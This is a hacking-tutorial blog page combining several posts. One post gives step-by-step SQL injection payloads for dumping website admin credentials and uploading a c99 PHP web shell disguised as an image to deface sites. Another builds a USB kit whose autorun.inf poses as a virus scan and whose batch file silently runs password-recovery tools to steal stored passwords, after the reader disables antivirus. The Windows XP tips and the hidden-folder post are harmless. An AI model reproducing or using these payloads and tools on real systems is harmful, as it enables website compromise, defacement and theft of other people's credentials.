New Post


Hacking class 14 - How to Deface Websites using SQL and Php scripting?

Hacking class 14 - How to Deface Websites using SQL and Php scripting?

Hello Guys , Sorry for the Delay in this Class... Reason is Quite Simple My Annual End Semester Exams were going on....So I cannot waste much time on PC...
But Now I am Back... Now I will write the Tutorials that are really Dangerous...

Note: I and is Not responsible for any Misuse of these Tutorials. These are Just for Educational Purposes...So Don't Misuse Them!

Now Our Todays Discussion is on " How to Deface Websites using the SQL injection and PHP shell code Scripting".. Today I will show you the 100% working method for Hacking Websites and then Defacing them...

Hacking class 14 - How to Deface Websites using SQL and Php scripting

Defacing a website simply means that we replace the index.html file of a site by our file. Now all the Users that open it will see our Page(i.e being uploaded by us).
For Defacing a website, three things that you need Most are:
1. SQL Injection(For analyzing website loops)
2. Admin Password
3. Shell Script (for getting Admin Controls)

Now Lets Start the Tutorial:
First of all I would Like to say that I have took some part of SQL injection Tutorial from my previous posts and a site .Most of the Part is written by me so if you have any doubts I will clear them....

1. Finding the Target and the Admin Password
First of all we must find out our target website. I have collected a lot of dorks i.e the vulnerability points of the websites. Some Google Searches can be awesomely utilized to find out vulnerable Websites.. Below is example of some queries..
Examples: Open the Google and copy paste these queries...

Here are some More Queries (use them without quotation marks)..

"comersus_listCategoriesAndProducts.asp?idCategory ="
"productlist.asp?ViewType=Category&CategoryID= "

Now The Admin password Hacking procedure starts:

You can also refer to my previous post of hacking websites:

Hacking websites : How to hack websites By using SQL Injection

1). Check for vulnerability

Let's say that we have some site like this

Now to test if is vulrnable we add to the end of url ' (quote),

and that would be'

so if we get some error like
"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc..."
or something similar that means the Site is vulnerable to SQL injection.

2). Find the number of columns

To find number of columns we use statement ORDER BY (tells database how to order the result) so how to use it? Well just incrementing the number until we get an error. order by 1/* <-- no error order by 2/* <-- no error order by 3/* <-- no error order by 4/* <-- error (we get message like this Unknown column '4' in 'order clause' or something like that)

that means that the it has 3 columns, cause we got an error on 4.

3). Check for UNION function

With union we can select more data in one sql statement.

So we have union all select 1,2,3/* (we already found that number of columns are 3 in section 2). )

if we see some numbers on screen, i.e 1 or 2 or 3 then the UNION works .

4). Check for MySQL version union all select 1,2,3/* NOTE: if /* not working or you get some error, then try --
it's a comment and it's important for our query to work properly.

Let say that we have number 2 on the screen, now to check for version
we replace the number 2 with @@version or version() and get someting like 4.1.33-log or 5.0.45 or similar.

it should look like this union all select 1,@@version,3/*

If you get an error "union + illegal mix of collations (IMPLICIT + COERCIBLE) ..."

I didn't see any paper covering this problem, so i must write it .

What we need is convert() function

i.e. union all select 1,convert(@@version using latin1),3/*

or with hex() and unhex()

i.e. union all select 1,unhex(hex(@@version)),3/*

and you will get MySQL version .

5). Getting table and column name

well if the MySQL version is < 5 (i.e 4.1.33, 4.1.12...) <--- later i will describe for MySQL > 5 version.
we must guess table and column name in most cases.

common table names are: user/s, admin/s, member/s ...

common column names are: username, user, usr, user_name, password, pass, passwd, pwd etc...

i.e would be union all select 1,2,3 from admin/* (we see number 2 on the screen like before, and that's good )

We know that table admin exists...

Now to check column names. union all select 1,username,3 from admin/* (if you get an error, then try the other column name)

we get username displayed on screen, example would be admin, or superadmin etc...

now to check if column password exists union all select 1,password,3 from admin/* (if you get an error, then try the other column name)

we seen password on the screen in hash or plain-text, it depends of how the database is set up 

i.e md5 hash, mysql hash, sha1...

Now we must complete query to look nice 

For that we can use concat() function (it joins strings)

i.e union all select 1,concat(username,0x3a,password),3 from admin/*

Note that i put 0x3a, its hex value for : (so 0x3a is hex value for colon)

(there is another way for that, char(58), ascii value for : ) union all select 1,concat(username,char(58),password),3 from admin/*

Now we get dislayed username:p
assword on screen, i.e admin:admin or admin:somehash

When you have this, you can login like admin or some superuser.

If can't guess the right table name, you can always try mysql.user (default)

It has user  password columns, so example would be union all select 1,concat(user,0x3a,password),3 from mysql.user/*

6). MySQL 5

Like i said before i'm gonna explain how to get table and column names
in MySQL > 5.

For this we need information_schema. It holds all tables and columns in database.

to get tables we use table_name and information_schema.tables.

i.e union all select 1,table_name,3 from information_schema.tables/*

here we replace the our number 2 with table_name to get the first table from information_schema.tables

displayed on the screen. Now we must add LIMIT to the end of query to list out all tables.

i.e union all select 1,table_name,3 from information_schema.tables limit 0,1/*

note that i put 0,1 (get 1 result starting from the 0th)

now to view the second table, we change limit 0,1 to limit 1,1

i.e union all select 1,table_name,3 from information_schema.tables limit 1,1/*

the second table is displayed.

for third table we put limit 2,1

i.e union all select 1,table_name,3 from information_schema.tables limit 2,1/*

Keep incrementing until you get some useful like db_admin, poll_user, auth, auth_user etc... 

To get the column names the method is the same.

here we use column_name and information_schema.columns

the method is same as above so example would be union all select 1,column_name,3 from information_schema.columns limit 0,1/*

The first column is diplayed.

The second one (we change limit 0,1 to limit 1,1)

ie. union all select 1,column_name,3 from information_schema.columns limit 1,1/*

The second column is displayed, so keep incrementing until you get something like

username,user,login, password, pass, passwd etc... 

If you wanna display column names for specific table use this query. (where clause)

Let's say that we found table users.

i.e union all select 1,column_name,3 from information_schema.columns where table_name='users'/*

Now we get displayed column name in table users. Just using LIMIT we can list all columns in table users.

Note that this won't work if the magic quotes is ON.

Let's say that we found colums user, pass and email.

Now to complete query to put them all together.

For that we use concat() , i decribe it earlier.

i.e union all select 1,concat(user,0x3a,pass,0x3a,email) from users/

What we get here is user:p
ass:email from table users.


** If you are too lazy for doing above stuff you can use tools they will do all the job:

1) Exploit scanner (this will find vulnerable websites)

2) SQLi helpper (this tool will do all the injecting job and get you the pass or hash)

*** use the tools only if you are new to hacking. Do it manually thats the thrill and that is real hacking. When you do it manually you will understand the concept.

In some websites you can directly see the password but most of the websites encrypt them using MD5. so u hav to crack the hash to get the password. 

To crack the password there are three ways
1) Check the net whether this hash is cracked before:

2) Crack the password with the help of a site:

3) Use a MD5 cracking software:

Password = OwlsNest


After getting the password you can login as the admin of the site. But first you have to find the admin login page for the site. there r three methods to find the admin panel.

1) You can use an admin finder website:

2) You can use an admin finder software:


After logging in as the admin you can upload photos to the site. so now you are going to upload a shell into the site using this upload facility.

Dowload the shell here:

Extract it you will get a c99.php upload it.
Some sites wont allow you to upload a php file. so rename it as c99.php.gif
Then upload it.

After that go to (in most sites images are saved in this dir but if you cant find c99 there then you have to guess the dir)

find the c99.php.gif and click it..

Now you can see a big control pannel....
Now you can do what ever you want to do...
Search for the index.html file and replace it with your own file. 

So if any one goes to that site they will see your page....

After Doing This click on Logout and You are Done..

IF You Have Any Queries Ask Me!
Unique Windows XP Secrets/Hacks - Xtreme Collection

Unique Windows XP Secrets/Hacks - Xtreme Collection

1. Useful key shortcuts available:

- Windows key + D - shows the desktop
- Windows key + M - minimizes all open windows
- Windows key + Shift + M - maximizes all open windows
- Windows key + E - Runs Windows Explorer
- Windows key + R - shows the RUN dialog
- Windows key + F - shows Search window
- Windows key + Break - shows System Properties box
- Windows key + TAB - Go through taskbar applications
- Windows key + PAUSE Display the System Properties dialog box
- Windows key + U Open Utility Manager
- ALT + TAB - Cycle through opened applications
- Hold down CTRL while dragging an item to Copy it
- CTRL + ESC Display the Start menu
- ALT + ENTER View the properties for the selected item
- F4 key Display the Address bar list in My Computer or
- NUM LOCK + Asterisk (*) Display all of the subfolders that are under the selected folder

2. Lock Windows to protect computer

You can lock Windows to protect the computer when leaving the station easily by creating a shortcut with the path rundll32.exeuser32.dll, LockWorkStation. The Windows key + L is also a shortcut to this feature.

3. Edit sysoc.inf to list all software

To show all software that can be removed from your computer (including protected Windows services), you can manually edit (using notepad for example) the sysoc.inf file located in Windows\inf\. Just remove the word hide next to the software pack.
*Note* - use this at your own risk. Removing critical components of the system will make Windows instable.

4. Windows XP comes with IPv4 and IPv6

Windows XP comes both IPv4 and IPv6 support. To enable IPv6, you can install the protocols needed with the command "ipv6 install" in the command-prompt. Then type ipv6 /? to see the options. The installation will not remove the IPv4 protocols so your current configuration will still work.

5. Access Task Manager with shortcut

To access the Task Manager easier, you can make a shortcut that points to %windir%\system32\taskmgr.exe.

6. Stop treating ZIP files like Folders

If you don't want your Windows XP to treat ZIP files like folders, you can disable this component by running regsvr32 /u zipfldr.dll at the command prompt or Run dialog. If you start missing it, you can enable it by typing regsvr32 zipfldr.dll.

7. Run program as diffrent user

You can run a program as a different user. Right click an application and select Run As command.

8. Switch users leaving applications opened

You can switch users leaving the applications opened too (*NOTE* use this only when needed since it could lead to system instability).

Go to Task Manager - processes and end the process explorer.exe. 

This will end only your session and not all applications. 
Then go to Applications tab, click New task and type runas /user:Domainname\username explorer.exe. A password prompt will appear to login to the desired username. The user's session will start, with all your previously applications running.
I recommend to open first a command-line prompt and type runas /? to see all the options available.

9. Rename multiple files in Windows at once

Rename multiple files in Windows at once. Select them all, right click and select Rename. Enter the desired name. They will be renamed using what you specified, with a number in brackets to distinguish them.

10. Task kill feature in Windows

Windows has a task kill feature similar to Linux. Go to a command prompt and run the command tasklist to see running processes with PID numbers. Then type tskill
to end the specific task. This forces an instant closing of the task.

11. Edit features with GPEDIT.MSC

You can edit many features by running gpedit.msc. You can add log on/log off scripts here and many features.

12. Edit accounts in the command prompt

You can edit accounts by running "control userpasswords2" at the command prompt.

13. Use systeminfo.exe to see System Information

You can use the systeminfo.exe command in the command prompt to see System Information, including all Windows updates and hotfixes.

14. Disable system services for maximum performance

There are system services that you can disable to free up the system's load. To access the interface that permits you to make changes to system's services, type services.msc and the command prompt.
This is a list of services that are *usually* useless and can be safely disabled.
Application Layer Gateway Service,
Application Management
Automatic Updates
Background Intelligent Transfer
Distributed Link Tracking Client
Distributed Transaction Coordinater
Error Reporting Service
Fast User Switching Compatibility
IMAPI CD-Burning
Indexing Service
IPSEC Services
Net Logon
Net Meeting
Remote Desktop Sharing
Network DDE
Network DDE DSDM
Portable Media Serial Number
Remote Desktop Help Session Manager
Remote Registry
Secondary Logon
SSDP Discovery Service
Uninterruptible Power Supply
Universal Plug and Play Device Host
Upload Manager
Wireless Zero Configuration
WMI Performance Adaptor

*NOTE*: Make sure you don't need them since some applications you're using could depend on them. If you make any application to fail by disabling any of the services, go back and enable it again.

15. Repair Windows XP by using the XP installation CD

If your system failes to start due to an error related to missing HAL.DLL, invalid Boot.ini or any other critical system boot files you can repair this by using the XP installation CD. Simply boot from your XP Setup CD and enter the Recovery Console. Then run "attrib -H -R -S" on the C:\Boot.ini file and delete it. Run "Bootcfg /Rebuild" and then Fixboot.

How to Sniff/Hack Passwords Using USB Drive??

How to Sniff/Hack Passwords Using USB Drive??

As we all know, Windows stores most of the passwords which are used on a daily basis, including instant messenger passwords such as MSN, Yahoo, AOL, Windows messenger etc. Along with these, Windows also stores passwords of Outlook Express, SMTP, POP, FTP accounts and auto-complete passwords of many browsers like IE and Firefox. There exists many tools for recovering these passswords from their stored places. Using these tools and an USB pendrive you can create your own rootkit to sniff passwords from any computer. We need the following tools to create our rootkit.

MessenPassRecovers the passwords of most popular Instant Messenger programs: MSN Messenger, Windows Messenger, Yahoo Messenger, ICQ Lite 4.x/2003, AOL Instant Messenger provided with Netscape 7, Trillian, Miranda, and GAIM.
Mail PassViewRecovers the passwords of the following email programs: Outlook Express, Microsoft Outlook 2000 (POP3 and SMTP Accounts only), Microsoft Outlook 2002/2003 (POP3, IMAP, HTTP and SMTP Accounts), IncrediMail, Eudora, Netscape Mail, Mozilla Thunderbird, Group Mail Free.
Mail PassView can also recover the passwords of Web-based email accounts (HotMail, Yahoo!, Gmail), if you use the associated programs of these accounts.

IE PassviewIE PassView is a small utility that reveals the passwords stored by Internet Explorer browser. It supports the new Internet Explorer 7.0, as well as older versions of Internet explorer, v4.0 – v6.0
Protected Storage PassViewRecovers all passwords stored inside the Protected Storage, including the AutoComplete passwords of Internet Explorer, passwords of Password-protected sites, MSN Explorer Passwords, and more…
PasswordFoxPasswordFox is a small password recovery tool that allows you to view the user names and passwords stored by Mozilla Firefox Web browser. By default, PasswordFox displays the passwords stored in your current profile, but you can easily select to watch the passwords of any other Firefox profile. For each password entry, the following information is displayed: Record Index, Web Site, User Name, Password, User Name Field, Password Field, and the Signons filename. 
Here is a step by step procedre to create the password hacking toolkit.
NOTE: You must temporarily disable your antivirus before following these steps.
1. Download all the 5 tools, extract them and copy only the executables(.exe files) into your USB Pendrive.
ie: Copy the files – mspass.exemailpv.exeiepv.exepspv.exe and passwordfox.exe into your USB Drive.
2. Create a new Notepad and write the following text into it
ACTION= Perform a Virus Scan

save the Notepad and rename it from
New Text Document.txt to autorun.inf
Now copy the autorun.inf file onto your USB pendrive.
3. Create another Notepad and write the following text onto it.
start mspass.exe /stext mspass.txt
start mailpv.exe /stext mailpv.txt
start iepv.exe /stext iepv.txt
start pspv.exe /stext pspv.txt
start passwordfox.exe /stext passwordfox.txt
save the Notepad and rename it from
New Text Document.txt to launch.bat
Copy the launch.bat file also to your USB drive.
Now your rootkit is ready and you are all set to sniff the passwords. You can use this pendrive on on any computer to sniff the stored passwords. Just follow these steps
1. Insert the pendrive and the autorun window will pop-up. (This is because, we have created an autorun pendrive).
2. In the pop-up window, select the first option (Perform a Virus Scan).
3. Now all the password recovery tools will silently get executed in the background (This process takes hardly a few seconds). The passwords get stored in the .TXT files.
4. Remove the pendrive and you’ll see the stored passwords in the .TXT files.
This hack works on Windows 2000, XP and Vista
NOTE: This procedure will only recover the stored passwords (if any) on the Computer.
How to Make Invisible Password Protected Folder?

How to Make Invisible Password Protected Folder?

Do you want to password protect your folder? Do you want to make it invisible so that it remains unnoticed by the normal users? Well here is a way to do that. In this post I will show you how to make a password protected folder in Windows without using any additional software. Here is is step by step procedure to create a password protected folder.

How to create a Password Protected Folder
Step-1: Create a new folder (Right-click -> New -> Folder) and give it any name of your choice. For instance I name it as ABC.
Step-2: Now in this folder place all the important files, documents or any folders that you want to password protect.
Step-3: Now Right-click on this folder (ABC) and select the option Send To -> Compressed (zipped) Folder.
Step-4: Now a new compressed zipped folder gets created next this folder (ABC) with the same name.
Step-5: Double-click on this compressed zipped folder and you should see your original folder (ABC) here.
Step-6: Now goto the File menu and select the option Add a password.
ie: File -> Add a password
Now a small window will pop up and here you can set your desired password. Once the password is set, the folder will ask for the password every time it is opened. Thus you have now created the password protected folder.

How to make it Invisible
Step-1: Now Right-click on this password protected folder and select Properties.
Step-2: At the bottom select the option Hidden and press OK. Now your folder gets invisible (hidden).
Step-3: In order to unhide this folder go to My Computer – >Tools -> Folder options. Switch to View tab, scroll down and under Hidden files and folders you’ll see the following two options
  • Do not show hidden files and folders
  • Show hidden files and folders
Now select the second option and press OK. Now the invisible folder becomes visible in it’s location. To access it you need the password. To make it invisible again repeat step -1 through step-3 and select the first option and click OK. Now the folder becomes invisible once again.
I hope you like this post. Pass your comments!! Cheers
Copyright © 2012 Learn How to Hack - Best Online Ethical Hacking Website All Right Reserved
Designed by Hackingloops.